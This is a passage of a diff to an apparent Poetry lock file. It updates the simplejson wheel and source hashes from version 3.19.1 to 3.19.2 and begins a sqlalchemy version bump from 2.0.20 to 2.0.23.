- {file = "simplejson-3.19.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b438e5eaa474365f4faaeeef1ec3e8d5b4e7030706e3e3d6b5bee6049732e0e6"},
- {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9d614a612ad02492f704fbac636f666fa89295a5d22b4facf2d665fc3b5ea9"},
- {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46e89f58e4bed107626edce1cf098da3664a336d01fc78fddcfb1f397f553d44"},
- {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96ade243fb6f3b57e7bd3b71e90c190cd0f93ec5dce6bf38734a73a2e5fa274f"},
- {file = "simplejson-3.19.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed18728b90758d171f0c66c475c24a443ede815cf3f1a91e907b0db0ebc6e508"},
- {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6a561320485017ddfc21bd2ed5de2d70184f754f1c9b1947c55f8e2b0163a268"},
- {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:2098811cd241429c08b7fc5c9e41fcc3f59f27c2e8d1da2ccdcf6c8e340ab507"},
- {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:8f8d179393e6f0cf6c7c950576892ea6acbcea0a320838c61968ac7046f59228"},
- {file = "simplejson-3.19.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:eff87c68058374e45225089e4538c26329a13499bc0104b52b77f8428eed36b2"},
- {file = "simplejson-3.19.1-cp36-cp36m-win32.whl", hash = "sha256:d300773b93eed82f6da138fd1d081dc96fbe53d96000a85e41460fe07c8d8b33"},
- {file = "simplejson-3.19.1-cp36-cp36m-win_amd64.whl", hash = "sha256:37724c634f93e5caaca04458f267836eb9505d897ab3947b52f33b191bf344f3"},
- {file = "simplejson-3.19.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:74bf802debe68627227ddb665c067eb8c73aa68b2476369237adf55c1161b728"},
- {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:70128fb92932524c89f373e17221cf9535d7d0c63794955cc3cd5868e19f5d38"},
- {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8090e75653ea7db75bc21fa5f7bcf5f7bdf64ea258cbbac45c7065f6324f1b50"},
- {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a755f7bfc8adcb94887710dc70cc12a69a454120c6adcc6f251c3f7b46ee6aac"},
- {file = "simplejson-3.19.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ccb2c1877bc9b25bc4f4687169caa925ffda605d7569c40e8e95186e9a5e58b"},
- {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:919bc5aa4d8094cf8f1371ea9119e5d952f741dc4162810ab714aec948a23fe5"},
- {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:e333c5b62e93949f5ac27e6758ba53ef6ee4f93e36cc977fe2e3df85c02f6dc4"},
- {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3a4480e348000d89cf501b5606415f4d328484bbb431146c2971123d49fd8430"},
- {file = "simplejson-3.19.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:cb502cde018e93e75dc8fc7bb2d93477ce4f3ac10369f48866c61b5e031db1fd"},
- {file = "simplejson-3.19.1-cp37-cp37m-win32.whl", hash = "sha256:f41915a4e1f059dfad614b187bc06021fefb5fc5255bfe63abf8247d2f7a646a"},
- {file = "simplejson-3.19.1-cp37-cp37m-win_amd64.whl", hash = "sha256:3844305bc33d52c4975da07f75b480e17af3558c0d13085eaa6cc2f32882ccf7"},
- {file = "simplejson-3.19.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:1cb19eacb77adc5a9720244d8d0b5507421d117c7ed4f2f9461424a1829e0ceb"},
- {file = "simplejson-3.19.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:926957b278de22797bfc2f004b15297013843b595b3cd7ecd9e37ccb5fad0b72"},
- {file = "simplejson-3.19.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b0e9a5e66969f7a47dc500e3dba8edc3b45d4eb31efb855c8647700a3493dd8a"},
- {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79d46e7e33c3a4ef853a1307b2032cfb7220e1a079d0c65488fbd7118f44935a"},
- {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:344a5093b71c1b370968d0fbd14d55c9413cb6f0355fdefeb4a322d602d21776"},
- {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:23fbb7b46d44ed7cbcda689295862851105c7594ae5875dce2a70eeaa498ff86"},
- {file = "simplejson-3.19.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3025e7e9ddb48813aec2974e1a7e68e63eac911dd5e0a9568775de107ac79a"},
- {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:87b190e6ceec286219bd6b6f13547ca433f977d4600b4e81739e9ac23b5b9ba9"},
- {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:dc935d8322ba9bc7b84f99f40f111809b0473df167bf5b93b89fb719d2c4892b"},
- {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:3b652579c21af73879d99c8072c31476788c8c26b5565687fd9db154070d852a"},
- {file = "simplejson-3.19.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6aa7ca03f25b23b01629b1c7f78e1cd826a66bfb8809f8977a3635be2ec48f1a"},
- {file = "simplejson-3.19.1-cp38-cp38-win32.whl", hash = "sha256:08be5a241fdf67a8e05ac7edbd49b07b638ebe4846b560673e196b2a25c94b92"},
- {file = "simplejson-3.19.1-cp38-cp38-win_amd64.whl", hash = "sha256:ca56a6c8c8236d6fe19abb67ef08d76f3c3f46712c49a3b6a5352b6e43e8855f"},
- {file = "simplejson-3.19.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:6424d8229ba62e5dbbc377908cfee9b2edf25abd63b855c21f12ac596cd18e41"},
- {file = "simplejson-3.19.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:547ea86ca408a6735335c881a2e6208851027f5bfd678d8f2c92a0f02c7e7330"},
- {file = "simplejson-3.19.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:889328873c35cb0b2b4c83cbb83ec52efee5a05e75002e2c0c46c4e42790e83c"},
- {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44cdb4e544134f305b033ad79ae5c6b9a32e7c58b46d9f55a64e2a883fbbba01"},
- {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc2b3f06430cbd4fac0dae5b2974d2bf14f71b415fb6de017f498950da8159b1"},
- {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d125e754d26c0298715bdc3f8a03a0658ecbe72330be247f4b328d229d8cf67f"},
- {file = "simplejson-3.19.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:476c8033abed7b1fd8db62a7600bf18501ce701c1a71179e4ce04ac92c1c5c3c"},
- {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:199a0bcd792811c252d71e3eabb3d4a132b3e85e43ebd93bfd053d5b59a7e78b"},
- {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:a79b439a6a77649bb8e2f2644e6c9cc0adb720fc55bed63546edea86e1d5c6c8"},
- {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:203412745fed916fc04566ecef3f2b6c872b52f1e7fb3a6a84451b800fb508c1"},
- {file = "simplejson-3.19.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5ca922c61d87b4c38f37aa706520328ffe22d7ac1553ef1cadc73f053a673553"},
- {file = "simplejson-3.19.1-cp39-cp39-win32.whl", hash = "sha256:3e0902c278243d6f7223ba3e6c5738614c971fd9a887fff8feaa8dcf7249c8d4"},
- {file = "simplejson-3.19.1-cp39-cp39-win_amd64.whl", hash = "sha256:d396b610e77b0c438846607cd56418bfc194973b9886550a98fd6724e8c6cfec"},
- {file = "simplejson-3.19.1-py3-none-any.whl", hash = "sha256:4710806eb75e87919b858af0cba4ffedc01b463edc3982ded7b55143f39e41e1"},
- {file = "simplejson-3.19.1.tar.gz", hash = "sha256:6277f60848a7d8319d27d2be767a7546bc965535b28070e310b3a9af90604a4c"},
+ {file = "simplejson-3.19.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3471e95110dcaf901db16063b2e40fb394f8a9e99b3fe9ee3acc6f6ef72183a2"},
+ {file = "simplejson-3.19.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:3194cd0d2c959062b94094c0a9f8780ffd38417a5322450a0db0ca1a23e7fbd2"},
+ {file = "simplejson-3.19.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:8a390e56a7963e3946ff2049ee1eb218380e87c8a0e7608f7f8790ba19390867"},
+ {file = "simplejson-3.19.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:1537b3dd62d8aae644f3518c407aa8469e3fd0f179cdf86c5992792713ed717a"},
+ {file = "simplejson-3.19.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:a8617625369d2d03766413bff9e64310feafc9fc4f0ad2b902136f1a5cd8c6b0"},
+ {file = "simplejson-3.19.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:2c433a412e96afb9a3ce36fa96c8e61a757af53e9c9192c97392f72871e18e69"},
+ {file = "simplejson-3.19.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:f1c70249b15e4ce1a7d5340c97670a95f305ca79f376887759b43bb33288c973"},
+ {file = "simplejson-3.19.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:287e39ba24e141b046812c880f4619d0ca9e617235d74abc27267194fc0c7835"},
+ {file = "simplejson-3.19.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6f0a0b41dd05eefab547576bed0cf066595f3b20b083956b1405a6f17d1be6ad"},
+ {file = "simplejson-3.19.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2f98d918f7f3aaf4b91f2b08c0c92b1774aea113334f7cde4fe40e777114dbe6"},
+ {file = "simplejson-3.19.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7d74beca677623481810c7052926365d5f07393c72cbf62d6cce29991b676402"},
+ {file = "simplejson-3.19.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7f2398361508c560d0bf1773af19e9fe644e218f2a814a02210ac2c97ad70db0"},
+ {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ad331349b0b9ca6da86064a3599c425c7a21cd41616e175ddba0866da32df48"},
+ {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:332c848f02d71a649272b3f1feccacb7e4f7e6de4a2e6dc70a32645326f3d428"},
+ {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25785d038281cd106c0d91a68b9930049b6464288cea59ba95b35ee37c2d23a5"},
+ {file = "simplejson-3.19.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18955c1da6fc39d957adfa346f75226246b6569e096ac9e40f67d102278c3bcb"},
+ {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:11cc3afd8160d44582543838b7e4f9aa5e97865322844b75d51bf4e0e413bb3e"},
+ {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:b01fda3e95d07a6148702a641e5e293b6da7863f8bc9b967f62db9461330562c"},
+ {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:778331444917108fa8441f59af45886270d33ce8a23bfc4f9b192c0b2ecef1b3"},
+ {file = "simplejson-3.19.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9eb117db8d7ed733a7317c4215c35993b815bf6aeab67523f1f11e108c040672"},
+ {file = "simplejson-3.19.2-cp310-cp310-win32.whl", hash = "sha256:39b6d79f5cbfa3eb63a869639cfacf7c41d753c64f7801efc72692c1b2637ac7"},
+ {file = "simplejson-3.19.2-cp310-cp310-win_amd64.whl", hash = "sha256:5675e9d8eeef0aa06093c1ff898413ade042d73dc920a03e8cea2fb68f62445a"},
+ {file = "simplejson-3.19.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ed628c1431100b0b65387419551e822987396bee3c088a15d68446d92f554e0c"},
+ {file = "simplejson-3.19.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:adcb3332979cbc941b8fff07181f06d2b608625edc0a4d8bc3ffc0be414ad0c4"},
+ {file = "simplejson-3.19.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:08889f2f597ae965284d7b52a5c3928653a9406d88c93e3161180f0abc2433ba"},
+ {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef7938a78447174e2616be223f496ddccdbf7854f7bf2ce716dbccd958cc7d13"},
+ {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a970a2e6d5281d56cacf3dc82081c95c1f4da5a559e52469287457811db6a79b"},
+ {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:554313db34d63eac3b3f42986aa9efddd1a481169c12b7be1e7512edebff8eaf"},
+ {file = "simplejson-3.19.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d36081c0b1c12ea0ed62c202046dca11438bee48dd5240b7c8de8da62c620e9"},
+ {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a3cd18e03b0ee54ea4319cdcce48357719ea487b53f92a469ba8ca8e39df285e"},
+ {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:66e5dc13bfb17cd6ee764fc96ccafd6e405daa846a42baab81f4c60e15650414"},
+ {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:972a7833d4a1fcf7a711c939e315721a88b988553fc770a5b6a5a64bd6ebeba3"},
+ {file = "simplejson-3.19.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3e74355cb47e0cd399ead3477e29e2f50e1540952c22fb3504dda0184fc9819f"},
+ {file = "simplejson-3.19.2-cp311-cp311-win32.whl", hash = "sha256:1dd4f692304854352c3e396e9b5f0a9c9e666868dd0bdc784e2ac4c93092d87b"},
+ {file = "simplejson-3.19.2-cp311-cp311-win_amd64.whl", hash = "sha256:9300aee2a8b5992d0f4293d88deb59c218989833e3396c824b69ba330d04a589"},
+ {file = "simplejson-3.19.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:b8d940fd28eb34a7084877747a60873956893e377f15a32ad445fe66c972c3b8"},
+ {file = "simplejson-3.19.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4969d974d9db826a2c07671273e6b27bc48e940738d768fa8f33b577f0978378"},
+ {file = "simplejson-3.19.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c594642d6b13d225e10df5c16ee15b3398e21a35ecd6aee824f107a625690374"},
+ {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e2f5a398b5e77bb01b23d92872255e1bcb3c0c719a3be40b8df146570fe7781a"},
+ {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:176a1b524a3bd3314ed47029a86d02d5a95cc0bee15bd3063a1e1ec62b947de6"},
+ {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3c7363a8cb8c5238878ec96c5eb0fc5ca2cb11fc0c7d2379863d342c6ee367a"},
+ {file = "simplejson-3.19.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:346820ae96aa90c7d52653539a57766f10f33dd4be609206c001432b59ddf89f"},
+ {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:de9a2792612ec6def556d1dc621fd6b2073aff015d64fba9f3e53349ad292734"},
+ {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:1c768e7584c45094dca4b334af361e43b0aaa4844c04945ac7d43379eeda9bc2"},
+ {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:9652e59c022e62a5b58a6f9948b104e5bb96d3b06940c6482588176f40f4914b"},
+ {file = "simplejson-3.19.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:9c1a4393242e321e344213a90a1e3bf35d2f624aa8b8f6174d43e3c6b0e8f6eb"},
+ {file = "simplejson-3.19.2-cp312-cp312-win32.whl", hash = "sha256:7cb98be113911cb0ad09e5523d0e2a926c09a465c9abb0784c9269efe4f95917"},
+ {file = "simplejson-3.19.2-cp312-cp312-win_amd64.whl", hash = "sha256:6779105d2fcb7fcf794a6a2a233787f6bbd4731227333a072d8513b252ed374f"},
+ {file = "simplejson-3.19.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:061e81ea2d62671fa9dea2c2bfbc1eec2617ae7651e366c7b4a2baf0a8c72cae"},
+ {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4280e460e51f86ad76dc456acdbfa9513bdf329556ffc8c49e0200878ca57816"},
+ {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:11c39fbc4280d7420684494373b7c5904fa72a2b48ef543a56c2d412999c9e5d"},
+ {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bccb3e88ec26ffa90f72229f983d3a5d1155e41a1171190fa723d4135523585b"},
+ {file = "simplejson-3.19.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bb5b50dc6dd671eb46a605a3e2eb98deb4a9af787a08fcdddabe5d824bb9664"},
+ {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d94245caa3c61f760c4ce4953cfa76e7739b6f2cbfc94cc46fff6c050c2390c5"},
+ {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d0e5ffc763678d48ecc8da836f2ae2dd1b6eb2d27a48671066f91694e575173c"},
+ {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d222a9ed082cd9f38b58923775152003765016342a12f08f8c123bf893461f28"},
+ {file = "simplejson-3.19.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8434dcdd347459f9fd9c526117c01fe7ca7b016b6008dddc3c13471098f4f0dc"},
+ {file = "simplejson-3.19.2-cp36-cp36m-win32.whl", hash = "sha256:c9ac1c2678abf9270e7228133e5b77c6c3c930ad33a3c1dfbdd76ff2c33b7b50"},
+ {file = "simplejson-3.19.2-cp36-cp36m-win_amd64.whl", hash = "sha256:92c4a4a2b1f4846cd4364855cbac83efc48ff5a7d7c06ba014c792dd96483f6f"},
+ {file = "simplejson-3.19.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0d551dc931638e2102b8549836a1632e6e7cf620af3d093a7456aa642bff601d"},
+ {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73a8a4653f2e809049999d63530180d7b5a344b23a793502413ad1ecea9a0290"},
+ {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:40847f617287a38623507d08cbcb75d51cf9d4f9551dd6321df40215128325a3"},
+ {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:be893258d5b68dd3a8cba8deb35dc6411db844a9d35268a8d3793b9d9a256f80"},
+ {file = "simplejson-3.19.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9eb3cff1b7d71aa50c89a0536f469cb8d6dcdd585d8f14fb8500d822f3bdee4"},
+ {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d0f402e787e6e7ee7876c8b05e2fe6464820d9f35ba3f172e95b5f8b699f6c7f"},
+ {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:fbbcc6b0639aa09b9649f36f1bcb347b19403fe44109948392fbb5ea69e48c3e"},
+ {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:2fc697be37585eded0c8581c4788fcfac0e3f84ca635b73a5bf360e28c8ea1a2"},
+ {file = "simplejson-3.19.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0b0a3eb6dd39cce23801a50c01a0976971498da49bc8a0590ce311492b82c44b"},
+ {file = "simplejson-3.19.2-cp37-cp37m-win32.whl", hash = "sha256:49f9da0d6cd17b600a178439d7d2d57c5ef01f816b1e0e875e8e8b3b42db2693"},
+ {file = "simplejson-3.19.2-cp37-cp37m-win_amd64.whl", hash = "sha256:c87c22bd6a987aca976e3d3e23806d17f65426191db36d40da4ae16a6a494cbc"},
+ {file = "simplejson-3.19.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9e4c166f743bb42c5fcc60760fb1c3623e8fda94f6619534217b083e08644b46"},
+ {file = "simplejson-3.19.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0a48679310e1dd5c9f03481799311a65d343748fe86850b7fb41df4e2c00c087"},
+ {file = "simplejson-3.19.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:c0521e0f07cb56415fdb3aae0bbd8701eb31a9dfef47bb57206075a0584ab2a2"},
+ {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d2d5119b1d7a1ed286b8af37357116072fc96700bce3bec5bb81b2e7057ab41"},
+ {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c1467d939932901a97ba4f979e8f2642415fcf02ea12f53a4e3206c9c03bc17"},
+ {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49aaf4546f6023c44d7e7136be84a03a4237f0b2b5fb2b17c3e3770a758fc1a0"},
+ {file = "simplejson-3.19.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60848ab779195b72382841fc3fa4f71698a98d9589b0a081a9399904487b5832"},
+ {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0436a70d8eb42bea4fe1a1c32d371d9bb3b62c637969cb33970ad624d5a3336a"},
+ {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:49e0e3faf3070abdf71a5c80a97c1afc059b4f45a5aa62de0c2ca0444b51669b"},
+ {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ff836cd4041e16003549449cc0a5e372f6b6f871eb89007ab0ee18fb2800fded"},
+ {file = "simplejson-3.19.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3848427b65e31bea2c11f521b6fc7a3145d6e501a1038529da2391aff5970f2f"},
+ {file = "simplejson-3.19.2-cp38-cp38-win32.whl", hash = "sha256:3f39bb1f6e620f3e158c8b2eaf1b3e3e54408baca96a02fe891794705e788637"},
+ {file = "simplejson-3.19.2-cp38-cp38-win_amd64.whl", hash = "sha256:0405984f3ec1d3f8777c4adc33eac7ab7a3e629f3b1c05fdded63acc7cf01137"},
+ {file = "simplejson-3.19.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:445a96543948c011a3a47c8e0f9d61e9785df2544ea5be5ab3bc2be4bd8a2565"},
+ {file = "simplejson-3.19.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4a8c3cc4f9dfc33220246760358c8265dad6e1104f25f0077bbca692d616d358"},
+ {file = "simplejson-3.19.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:af9c7e6669c4d0ad7362f79cb2ab6784d71147503e62b57e3d95c4a0f222c01c"},
+ {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:064300a4ea17d1cd9ea1706aa0590dcb3be81112aac30233823ee494f02cb78a"},
+ {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9453419ea2ab9b21d925d0fd7e3a132a178a191881fab4169b6f96e118cc25bb"},
+ {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9e038c615b3906df4c3be8db16b3e24821d26c55177638ea47b3f8f73615111c"},
+ {file = "simplejson-3.19.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16ca9c90da4b1f50f089e14485db8c20cbfff2d55424062791a7392b5a9b3ff9"},
+ {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1018bd0d70ce85f165185d2227c71e3b1e446186f9fa9f971b69eee223e1e3cd"},
+ {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e8dd53a8706b15bc0e34f00e6150fbefb35d2fd9235d095b4f83b3c5ed4fa11d"},
+ {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:2d022b14d7758bfb98405672953fe5c202ea8a9ccf9f6713c5bd0718eba286fd"},
+ {file = "simplejson-3.19.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:febffa5b1eda6622d44b245b0685aff6fb555ce0ed734e2d7b1c3acd018a2cff"},
+ {file = "simplejson-3.19.2-cp39-cp39-win32.whl", hash = "sha256:4edcd0bf70087b244ba77038db23cd98a1ace2f91b4a3ecef22036314d77ac23"},
+ {file = "simplejson-3.19.2-cp39-cp39-win_amd64.whl", hash = "sha256:aad7405c033d32c751d98d3a65801e2797ae77fac284a539f6c3a3e13005edc4"},
+ {file = "simplejson-3.19.2-py3-none-any.whl", hash = "sha256:bcedf4cae0d47839fee7de344f96b5694ca53c786f28b5f773d4f0b265a159eb"},
+ {file = "simplejson-3.19.2.tar.gz", hash = "sha256:9eb442a2442ce417801c912df68e1f6ccfcd41577ae7274953ab3ad24ef7d82c"},
]
[[package]]
@@ -2472,52 +2591,60 @@ files = [
[[package]]
name = "sqlalchemy"
-version = "2.0.20"
+version = "2.0.23"
description = "Database Abstraction Library"
optional = false
python-versions = ">=3.7"
files = [
- {file = "SQLAlchemy-2.0.20-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:759b51346aa388c2e606ee206c0bc6f15a5299f6174d1e10cadbe4530d3c7a98"},
- {file = "SQLAlchemy-2.0.20-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1506e988ebeaaf316f183da601f24eedd7452e163010ea63dbe52dc91c7fc70e"},
